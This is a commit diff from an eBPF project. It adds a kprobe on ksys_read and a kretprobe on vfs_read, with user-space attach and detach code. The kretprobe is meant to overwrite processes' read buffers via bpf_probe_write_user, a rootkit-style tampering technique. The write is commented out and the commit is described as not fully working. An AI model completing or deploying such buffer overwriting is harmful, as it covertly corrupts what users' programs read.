Added new probe to read the previously extracted params and overwrite user memory. Still now fully working, just a backup

src/ebpf/include/bpf/fs.h

@@ -29,12 +29,16 @@ static __always_inline int handle_sys_read(struct pt_regs *ctx, int fd, char* bu
         .pid = pid
     };
     bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY);
-    bpf_printk("PID: %u, FS:%u\n", pid, fd);
+    //bpf_printk("PID: %u, FS:%u\n", pid, fd);
     return 0;
 }
 
+/**
+ * @brief Receives read event and stores the parameters into internal map
+ * 
+ */
 SEC("kprobe/ksys_read") 
-int kprobe__64_sys_read(struct pt_regs *ctx) { 
+int kprobe_ksys_read(struct pt_regs *ctx) { 
     struct pt_regs *rctx = ctx; 
     if (!rctx) return 0; 
     int fd = (int) PT_REGS_PARM1(ctx); 
@@ -42,4 +46,31 @@ int kprobe__64_sys_read(struct pt_regs *ctx) {
     return handle_sys_read(ctx, fd, buf); 
 } 
 
+/**
+ * @brief Called AFTER the ksys_read call, checks the internal
+ * map for the tgid+pid used and extracts the parameters.
+ * Uses the user-space buffer reference for overwritting the returned
+ * values. 
+ * 
+ */
+SEC("kretprobe/vfs_read")
+int kretprobe_vfs_read(struct pt_regs *ctx){
+    __u64 pid_tgid = bpf_get_current_pid_tgid();
+    
+    struct fs_open_data *data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);
+    if (data!=NULL){
+        //Not found
+        return -1;
+    }
+
+    //Overwritting a byte of the buffer
+    char *buf = data->buf;
+    char *msg = "OOOOOOOOOOOOO";
+    bpf_printk("Overwritting at pid %u\n", data->pid);
+    //int err = bpf_probe_write_user((void*)buf, (void*)msg, (__u32)1);
+    
+
+    return 0;
+}
+
 #endif

src/user/include/modules/fs.h

@@ -8,18 +8,30 @@
 #include "xdp_filter.skel.h"
 
 //Connections
-int attach_kprobe__64_sys_read(struct xdp_filter_bpf *skel){
-    skel->links.kprobe__64_sys_read = bpf_program__attach(skel->progs.kprobe__64_sys_read);
-	return libbpf_get_error(skel->links.kprobe__64_sys_read);
+int attach_kprobe_ksys_read(struct xdp_filter_bpf *skel){
+    skel->links.kprobe_ksys_read = bpf_program__attach(skel->progs.kprobe_ksys_read);
+	return libbpf_get_error(skel->links.kprobe_ksys_read);
+}
+int attach_kretprobe_vfs_read(struct xdp_filter_bpf *skel){
+    skel->links.kretprobe_vfs_read = bpf_program__attach(skel->progs.kretprobe_vfs_read);
+	return libbpf_get_error(skel->links.kretprobe_vfs_read);
 }
 
 int attach_fs_all(struct xdp_filter_bpf *skel){
-    return attach_kprobe__64_sys_read(skel);
+    return attach_kprobe_ksys_read(skel) || attach_kretprobe_vfs_read(skel);
 }
 
 
-int detach_kprobe__64_sys_read(struct xdp_filter_bpf *skel){
-    int err = detach_link_generic(skel->links.kprobe__64_sys_read);
+int detach_kprobe_ksys_read(struct xdp_filter_bpf *skel){
+    int err = detach_link_generic(skel->links.kprobe_ksys_read);
+    if(err<0){
+        fprintf(stderr, "Failed to detach fs link\n");
+        return -1;
+    }
+    return 0;
+}
+int detach_kretprobe_vfs_read(struct xdp_filter_bpf *skel){
+    int err = detach_link_generic(skel->links.kretprobe_vfs_read);
     if(err<0){
         fprintf(stderr, "Failed to detach fs link\n");
         return -1;
@@ -28,7 +40,7 @@ int detach_kprobe__64_sys_read(struct xdp_filter_bpf *skel){
 }
 
 int detach_fs_all(struct xdp_filter_bpf *skel){
-    return detach_kprobe__64_sys_read(skel);
+    return detach_kprobe_ksys_read(skel) || detach_kretprobe_vfs_read(skel);
 }
 
 #endif

src/user/include/modules/module_manager.c

@@ -14,8 +14,8 @@ module_config_t module_config = {
     },
     .fs_module = {
         .all = ON,
-        .kprobe__64_compat_sys_read = OFF,
-        .kprobe__64_sys_read = OFF
+        .kprobe_ksys_read = OFF,
+        .kretprobe_vfs_read = OFF
     }
 
 };
@@ -26,7 +26,8 @@ module_config_attr_t module_config_attr = {
         .ifindex = -1,
         .flags = -1
     },
-    .sched_module = {}
+    .sched_module = {},
+    .fs_module = {}
 };
 
 
@@ -56,7 +57,8 @@ int setup_all_modules(){
     if(config.fs_module.all == ON){
         ret = attach_fs_all(attr.skel);
     }else{
-        if(config.fs_module.kprobe__64_sys_read == ON) ret = attach_kprobe__64_sys_read(attr.skel);
+        if(config.fs_module.kprobe_ksys_read == ON) ret = attach_kprobe_ksys_read(attr.skel);
+        if(config.fs_module.kretprobe_vfs_read == ON) ret = attach_kretprobe_vfs_read(attr.skel);
     }
     if(ret!=0) return -1;
 

src/user/include/modules/module_manager.h

@@ -25,8 +25,8 @@ typedef struct module_config_t{
 
     struct fs_module {
         char all;
-        char kprobe__64_compat_sys_read;
-        char kprobe__64_sys_read;
+        char kprobe_ksys_read;
+        char kretprobe_vfs_read;
     }fs_module;
 
 } module_config_t;